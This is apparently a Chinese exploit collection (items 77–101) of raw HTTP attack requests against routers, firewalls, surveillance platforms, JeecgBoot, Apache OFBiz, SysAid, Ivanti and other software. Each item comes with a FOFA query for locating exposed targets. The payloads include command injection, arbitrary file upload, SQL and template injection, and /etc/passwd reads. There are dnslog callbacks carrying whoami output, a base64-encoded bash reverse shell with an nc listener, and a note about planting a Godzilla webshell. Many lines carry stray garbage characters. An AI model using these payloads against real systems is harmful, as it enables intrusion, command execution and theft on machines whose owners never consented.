! `" F7 W4 ]9 V$ C/ R"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
$ c- V8 Q: A/ i  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
' K, f1 `- V  M% r. k

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
, S, n8 I' W+ THost: x.x.x.x
! u% g& I; R8 f- n' e5 D
% l) E+ N( z2 e. w: M* s! d7 E1 z

  A8 n! o4 l/ u1 H/ I# i* y77. F22服装管理软件系统UploadHandler.ashx任意文件上传
( Z1 P2 ^0 X+ _- e9 HFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
; _2 n! d2 L9 s3 R/ q# l0 ^. gHost: x.x.x.x
+ e6 U- c* {+ B( M' i: O1 e& [; eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 p6 j  Y; ^8 p* c. f; lConnection: close
Content-Length: 433
6 }: f! h  j/ gAccept: */*
2 `3 z: V8 i$ O0 l4 Y  f; cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 V4 D; v, }8 G. C! RContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
9 ^1 T8 P: K( ZContent-Disposition: form-data; name="folder"

5 W$ F; Q8 ]$ j+ G" Y/upload/udplog
' X7 L; `1 W# \% Z------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
; u2 W+ K! i7 F6 H# \& v  M------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
- s  ^2 W- e7 }& L6 B8 q; V5 d! M% [
+ U+ J, J( o4 ?6 SSubmit Query
' W3 N8 A3 H: Z0 h------------398jnjVTTlDVXHlE7yYnfwBoix--
8 U0 M/ @! |" S1 a
' P3 D$ B" R  X! u( _' ?3 E3 R
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
9 z8 o; `4 c* `1 Z! CFOFA：icon_hash="2001627082"
+ \+ f; ^4 n  {1 fPOST /Platform/System/FileUpload.ashx HTTP/1.1
8 J- N" t% s% `% _* X9 p! z; i0 D6 nHost: x.x.x.x
! O$ ^2 t+ a' i. B; B% PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# G5 D" p1 X% C; @  h, mContent-Length: 336
8 a/ F. I+ M) b& _4 nAccept-Encoding: gzip
0 y2 X  \: t5 YContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
' {* t, U; i. |, j" I' kContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
2 ]: g' N. H) r( T( W  pContent-Type: image/png
6 t' B3 K" j7 i& x0 m" s4 Q, x
  A, y7 r" g" x1 e, `YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
: {- H' O- P# A
8 A7 K6 V7 `. v- c5 I9 c+ D5 T/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


6 r8 ~! ~2 M' E/ m5 yGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
) L+ y- W$ _0 V, S! p; x; v2 [1 B
2 [. n2 N" S( n2 K; `6 ?5 E
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
" k' B( j' ~  m% X1 b" D8 KHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; \+ z0 f7 `0 d* A0 sAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
4 x9 @8 v  C6 {9 {$ X
  I/ F9 b4 f8 W' p$ R
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
0 v" K* k3 n8 aFOFA：app="速达软件-公司产品"
( y# v9 Z9 Q& A7 N2 `POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
5 W8 G" o0 X& w! r, A- o6 u! QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
: g" W& `3 j: `! _8 z; V) {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 P! x; G4 m  j* X8 ~/ K6 a6 z( WAccept-Encoding: gzip, deflate
" \- G  V; p% \% c* T' h5 p, eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

# e' X' ?) x% @% G! _' L<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) w0 ?( I) P" J7 N( QAccept-Encoding: gzip
) [3 ^& p8 L- C& ]) _  o% M% K
9 t, F( x' y/ {% d9 i
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
1 ~( H: H/ Y. s3 v1 E6 ~( `Host: x.x.x.x
, F- a; t8 r, A% z/ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ o  S& D2 @. K) L4 C9 N' }! k1 [Connection: close
1 w  x3 w  O2 M2 d( ?- UAccept-Encoding: gzip
1 @( }8 o/ h/ x+ V: x2 L+ L

6 X& a& M( _% m82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- t1 W/ k( Q# B; W4 [- _8 JFOFA：app="思福迪-LOGBASE"
  H( ]; f* l9 YPOST /bhost/test_qrcode_b HTTP/1.1
) |2 E# c$ H$ WHost: BaseURL
- y- r# w$ M( R0 ]User-Agent: Go-http-client/1.1
7 g6 D7 Y& H, X" dContent-Length: 23
Accept-Encoding: gzip
' t; N$ r% u2 L) y* u9 J) rConnection: close
6 u7 V* P0 i, g% B( h' b+ bContent-Type: application/x-www-form-urlencoded
5 o; H( q- S0 V! JReferer: BaseURL
# r, s5 G6 f- ]; g# W  Y! Y& `
, e2 ^; z8 d4 Z6 @3 i  ~7 O* {z1=1&z2="|id;"&z3=bhost
7 \" w" F& z1 I" L3 `$ s+ O

83. JeecgBoot testConnection 远程命令执行
" A, m& g& Z. eFOFA：title=="JeecgBoot 企业级低代码平台"
' B, q# p2 B0 U3 j1 ~( j

  P5 G9 j8 g9 R+ c* \; A3 `1 ?POST /jmreport/testConnection HTTP/1.1
- B- P: X) G1 H  f- e- }+ \: |( HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, g" P3 X* y+ }, l, zContent-Length: 8881
( z0 _- k# N8 AAccept-Encoding: gzip
" `9 q& A  ^" w6 L8 hCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
; c% S! N2 L  \7 _Content-Type: application/json

PAYLOAD

3 }  ~0 c! D* x7 `) N7 A. w4 W. V. ]8 }84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

1 ]* W$ e% f! q7 o
6 f1 o$ ~- Q0 D( _
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
8 R. w- q; O$ f: k, ~! C9 D8 `Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
2 U3 F1 Y3 z. \6 N. x% HContent-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
4 I6 v: @! D8 b' J+ c6 |+ F. ?5 }Accept-Encoding: gzip
+ U% Q& Q# W1 K! a! W& O* ~
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
$ k  }) r8 ^7 o1 f/ mCVE-2023-47246
6 r# E5 F) v1 _; }9 l/ h2 l3 EFOFA：body="sysaid-logo-dark-green.png"
1 b3 O- v/ I# j" V* a# O) H' ]EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
" e8 W  e9 _7 y& F7 V
+ Q* h- K. C/ ]- h4 z4 I5 b9 bPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
' H: O4 j6 D1 c7 ^$ D
86. 日本tosei自助洗衣机RCE
/ X+ t3 O0 C, \+ d! TFOFA：body="tosei_login_check.php"
+ M) W! \; N9 b0 r; m: `3 JPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
7 t+ |" F( p& J5 K7 H! }* wAccept-Language: en
' M* b/ N) z1 @Content-Type: application/x-www-form-urlencoded
5 N  q$ p* b/ A. D% b, L
( [0 y8 R) A# k* yhost=%0acat${IFS}/etc/passwd%0a&command=ping

" b0 \, v1 H4 S, r1 G8 w8 W
87. 安恒明御安全网关aaa_local_web_preview文件上传
& [  z3 m+ i8 z$ |6 Q, M5 c3 ~FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
1 E6 h, g5 r% l  V# vHost: X.X.X.X
+ w8 m9 a& F. |1 I+ bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 m9 y3 U% O% q0 T9 @Connection: close
' t3 v, G+ g( {$ n5 Q9 jContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
, G4 ^& L# m) q- b
--qqobiandqgawlxodfiisporjwravxtvd
( }7 }, T* V5 P) U4 i! Q8 i+ OContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
# h' p. c4 t6 tContent-Type: text/plain

$ w/ x. u5 j& A) |; Q. |5 N5 Q2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

/ I0 P# J0 ~% y$ C- }
6 n+ Z, T9 z2 `8 h" G0 P8 e/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: P0 A( h& d- k# A6 oFOFA：title="明御安全网关"
7 a6 R% Q! |3 k5 H, ~4 N* NGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
4 s7 }9 y" S# ^Host: x.x.x.xx.x.x.x
: ?" P, Q& K! v3 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 j9 R( r' E8 c  i' H! v+ XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  f' o! W4 o1 m" \* QConnection: close

7 L; w, ^( S' h. Y& z4 |7 ]
0 D" a$ B* ?& A4 {% S& u/astdfkhl.php
9 V" V/ i) l( `$ k/ R& l
/ z; p5 l- n" ?7 f4 ]89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
0 U# |+ ?9 t9 [  T1 w5 m6 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 o% X  u/ y  f9 E, \4 T' kContent-Length: 41
# p' h3 l2 |, R' J8 C4 \7 aContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

: u# R# X5 M7 a9 E3 K+ v% T" T! soption=2&GUID=-1'+union+select+111*222--+
: K6 D7 G9 D8 V7 u/ ]* f
6 c+ R+ f0 D6 \7 h
0 k( Y/ i; g' I0 S) N& g: p3 M0 k90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
: r; D% {1 B- b3 KFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
! z2 K' `# i% z7 E  n! KHost: x.x.x.x
- D+ K' c5 ]3 B4 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
4 ~# U$ t& ?& o/ C8 CContent-Length: 51
& e* Q. f5 k8 r9 |; ~( hAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
: ?1 p. O: O. n4 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 i. F) z9 J" Q: b# XConnection: close
* W5 c7 f8 v4 p9 e( w. `; F3 o7 hContent-Type: application/x-www-form-urlencoded
4 |* B% o" U- N) z3 _7 fX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
# {0 {/ o: A3 W) b/ |Accept: */*
, \, d$ J7 X/ l- L# MConnection: keep-alive

* R7 ?7 m# D" q; z' \
0 G* a0 w) x' l, U- Z( j
9 c& _! K3 Z0 q: f8 i  Y0 }4 V92. 海康威视运行管理中心session命令执行
5 A: L5 t* H, ~! l: w) YFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
+ f, D4 i6 ~+ \: q  MHost:
) d2 ^* C8 X9 Y% G) G5 D% g9 eAccept: application/json, text/plain, */*
0 j7 @2 o7 [8 Y, c/ s( Y3 A! G" DAccept-Encoding: gzip, deflate
/ m9 H' X. t7 t$ c6 x/ SX-Requested-With: XMLHttpRequest
+ m0 ]% S- w& c7 D! a3 W) ^Content-Type: application/json;charset=UTF-8
+ z. `3 @. \! X" `1 c& B/ nX-Language-Type: zh_CN
6 U; K7 W3 \+ B7 N2 ~9 WTestcmd: echo test
3 D3 i0 }: L! qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
7 s; U2 {9 b1 N7 ?) d0 X. ~* n/ VContent-Length: 5778

& ^( T' [( j4 b' u+ X9 H) ]4 cPAYLOAD
. T, a2 z- i- U  \7 J; Y& k7 ~6 V

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
& _& @2 M( u: M+ ~8 LHost: x.x.x.x
8 y9 r2 Q/ z7 I! N$ v/ y7 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
8 \: I$ H, \, i2 `$ X% P( i: gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. }( c4 }5 R: \% E
. o" `) h9 o4 m+ R: |# J2 y+ _" O7 P------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
$ n. e& e7 K0 _6 }4 g
10000000
2 ~- L/ E* k: i9 M( l8 J$ u------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
7 n+ o9 |5 k( m# ?! D; i& @Content-Type: text/plain
7 g9 ^' u, t8 _' q: A& }. M! a
wagletqrkwrddkthtulxsqrphulnknxa
* V) {1 b1 i2 Y% @# A& z. \8 a------WebKitFormBoundarykcbkgdfx
( o. V$ }9 p; V# |1 uContent-Disposition: form-data; name="submit_post"

. y& Y# u1 w1 Y7 c3 hobj_app_upfile
2 l8 l7 u& i+ q+ V. G0 B, L- O------WebKitFormBoundarykcbkgdfx
" Q. J. I. g& O* E( X' |Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
+ \# J3 [5 x' U9 i+ q------WebKitFormBoundarykcbkgdfx--
+ N; L2 U- u8 y* K
8 j' p* q5 }' A$ ~4 b
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

! ~* ]" G9 S% i! J  v0 d& D
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% x6 n! C9 f% j% G1 hFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
; L& [: T9 R6 K7 e- j) sPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
! T: _9 `9 e5 t: B9 j" |9 Q/ ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

5 p$ d1 L3 A' {( [, G4 S------WebKitFormBoundarybqvzqvmt
$ o. [' ]7 a. kContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
: g) }  F9 E( u( M3 vContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

" I% a, N0 u4 ?+ ]: |- Ypxplitttsrjnyoafavcajwkvhxindhmu
) S" y' \" G9 _0 F------WebKitFormBoundarybqvzqvmt
: R( h5 I* W- [Content-Disposition: form-data; name="submit_post"
8 J/ R8 }5 H1 ~( O, s7 a% m2 R2 \9 F
" m) q5 U% J9 Z( Eobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

: W& y8 X, v: U% D0b9d6b1ab7479ab69d9f71b05e0e9445
. q. U( b. b# W! Y# s------WebKitFormBoundarybqvzqvmt--
. P3 F% W4 Q" ~5 N! u


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 G: k1 B# p, SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 k0 s( f, V/ b& q5 O) h
% C) |  p( L% e% |  v! m

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
1 D& v$ p# o6 u& z2 `* |& {CVE-2023-49070
# a7 a' |1 @1 y9 u8 I$ AFOFA：app="Apache_OFBiz"
5 K* x( k5 T' M- j% x6 }POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 ]/ S6 f: C8 A8 u0 V  H, ZConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
' T8 @. c7 s" S, f! x. g<methodCall>
( |! t* ^: G  d. q0 _1 w' h) g" |   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
/ }: S0 u% _& {6 B9 Q2 u9 C    <params>
5 z! d8 E$ T# @7 S! ^  s0 Q, M0 z* p1 R( u      <param>
7 R( ?# O$ ?% p      <value>
, ^& ~2 q+ b! O5 z2 E2 {2 a, o        <struct>
       <member>
% {5 O# F! Y5 a% B$ f+ G" w          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
% j: ?! ^6 F$ L& M+ P/ ]    </params>
</methodCall>
, o1 m) d- t* k6 R4 L

% W0 c, S( p1 y4 K5 ^/ [8 M用ysoserial生成payload
7 c& S7 M+ H0 x: F) S' jjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
5 _) y0 a3 @8 f! O; W7 p1 ]/ u: h2 V' m
) y* F% b. X5 u: ?
将生成的payload替换到上面的POC
: j0 l, E! B3 E7 _, oPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
$ j( d! D( p- `. u! Q) `2 aConnection: close
Content-Length: 889
( n3 c& ?  B9 RContent-Type: application/xml
Accept-Encoding: gzip

PAYLOAD
0 j. O" s/ P( j* M; W
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
# m5 M+ J. N& Z8 j2 d; NHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" l+ f/ x! A$ s5 e$ qAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' L; g+ f; |: A* ?: N# ~Content-Type: application/x-www-form-urlencoded
" g" a  f8 b; UContent-Length: 55
9 N6 z% q9 Q- }8 M1 \
; p& Z3 O, R: j# J- l# T7 WgroovyProgram=throw+new+Exception('id'.execute().text);
3 T) f- C5 L, {6 w3 w9 n0 K( Q
" F1 w# z) I8 V8 b$ D5 {% t
反弹shell
在kali上启动一个监听
$ e2 P' }, ?; }) X/ o# J0 \. Gnc -lvp 7777

! T4 s) i$ n- A+ \$ rPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
# e+ @; L, A$ }5 d. SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 k, B7 z6 q6 XAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 B. p- j! C  K8 F* UContent-Type: application/x-www-form-urlencoded
- {9 c1 @' J; K: Y) AContent-Length: 71
: D( q( j- T* C" C
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
; [$ ?+ X) h; Z. n9 y
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) o) J' u  _  }! B/ \; RGET /passport/login/ HTTP/1.1
' y7 Y& A5 S' K% j6 v/ R; [4 ZHost: 192.168.40.130:8085
# [) y; H  N  @' l" LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& s/ W: R. @0 i0 oAccept-Encoding: gzip
" C8 f  c. u* @& UConnection: close
  u$ I4 S& o7 W& w' tCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
  W& t# n/ p9 h% z) d+ ]( `
" Y: g0 a% g3 Y3 R" a; t: p+ P8 o
5 f1 @2 ~/ E% [3 B) c98. SpiderFlow爬虫平台远程命令执行
: f6 U& R2 E5 C$ hCVE-2024-0195
6 N4 p/ U$ M3 q1 Z1 b/ ]6 VFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
5 v3 B# Q7 n- W, A& l1 l; sHost: 192.168.40.130:8088
0 o9 v+ k) `* ~0 L  m8 o3 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! ?1 \6 `+ N( E# X2 ~2 w5 Q/ UConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 t  p3 P. H6 V6 V7 t; J! uContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 S8 {6 r7 \; ~3 LX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
# p9 @* `4 p. ^0 k

0 l6 R1 `% m& |! ]! B99. Ncast盈可视高清智能录播系统busiFacade RCE
2 ~; y, W( K( b' K7 O7 cCVE-2024-0305
+ p) t' z) k7 K4 P: C  X0 A0 A* [FOFA：app="Ncast-产品" && title=="高清智能录播系统"
, B8 U/ v2 r) H7 s8 P0 PPOST /classes/common/busiFacade.php HTTP/1.1
. i2 r+ R$ f- f. B& LHost: 192.168.40.130:8080
* s. k% s3 w; c0 l1 ^2 {% z, G/ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
2 O8 t( q8 M4 h8 ]4 y# ]Content-Length: 154
( J- s- ?9 B" m' R* ~& J4 [: _: G* SAccept: */*
Accept-Encoding: gzip, deflate
8 E# b( C7 c9 y( R5 c1 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

; L; H$ M/ G' w%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
7 X8 H1 i7 I  u! ?
2 M% R. q+ [9 H. |( a
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
0 T5 ~6 p$ V/ A3 F# Q) @3 L+ B/ NFOFA：icon_hash="874152924"
+ V, P6 z( e7 \" s4 y9 ~POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
# g) ^# f0 f4 L+ B- HUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
' _2 @' I; R3 jConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
4 o2 {# V8 y# d2 U- u/ n
+ H2 B# e) i- x9 b! C% A------WebKitFormBoundarygcflwtei
0 A6 L2 H7 x; |  Z! g  Y0 t+ [. u5 eContent-Disposition: form-data; name="file";filename="IE4MGP.php"
3 R# V5 @2 x' bContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
0 K2 x# z, k3 v6 @% K

101. ivanti policy secure-22.6命令注入
/ p2 Y6 g8 `1 l- a, WCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
( `/ ~0 b9 v' e+ y5 h. BGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
